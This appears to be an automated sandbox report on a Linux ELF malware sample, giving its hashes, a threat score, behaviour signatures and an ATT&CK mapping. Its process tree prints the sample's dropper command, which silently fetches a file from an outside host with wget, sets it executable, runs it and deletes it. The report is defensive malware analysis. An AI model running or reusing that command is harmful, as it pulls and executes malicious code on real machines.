Overview

overview

10

Static

static

10

e4921180ea...87.elf

ubuntu-18.04-amd64

8

Analysis

  • max time kernel
    0s
  • max time network
    103s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-09-2022 16:51

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General

  • Target

    e4921180eafa91a234b1034c772ba887.elf

  • Size

    46KB

  • MD5

    e4921180eafa91a234b1034c772ba887

  • SHA1

    8c66fd601cac2611b22bd69a7862b25e8b9a2e36

  • SHA256

    b7d0d17ea7871db4d8faf0ddddf30ce24ca142574b48362f7f82ca349ec9e2f4

  • SHA512

    3004c1632e15d54a72dc4665351699ae65494abf15f000982d3dcedff77ffcf755b6dd18316694ad8d688166d120051f0a59c9f2e8965eaab8c880bf54ca8327

  • SSDEEP

    768:eRxm/aDxX7Wq3X5RJrdNW3Jq/BgxSh//Id8Np/JIB+Mq0uwcS:0US9X7PnDA3JquK//IWp/JBDScS

Score
8/10

Malware Config

Signatures

  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

Processes

  • /tmp/e4921180eafa91a234b1034c772ba887.elf
    /tmp/e4921180eafa91a234b1034c772ba887.elf
    1⤵
      PID:592
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../cipher -O .....;chmod 777 .....;./.....;rm -rf ..... "
      1⤵
        PID:595
        • /usr/bin/wget
          wget -q http://gay.energy/.../cipher -O .....
          2⤵
          • Modifies hosts file
          • Writes DNS configuration
          PID:596
        • /bin/chmod
          chmod 777 .....
          2⤵
            PID:597
          • ./.....
            ./.....
            2⤵
              PID:598
            • /bin/sh
              /bin/sh ./.....
              2⤵
                PID:598
              • /bin/rm
                rm -rf .....
                2⤵
                  PID:600

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              Privilege Escalation

              Defense Evasion

              Credential Access

              Discovery

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Dynamic Resolution

              1
              T1568

              Impact

              Replay Monitor

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              Downloads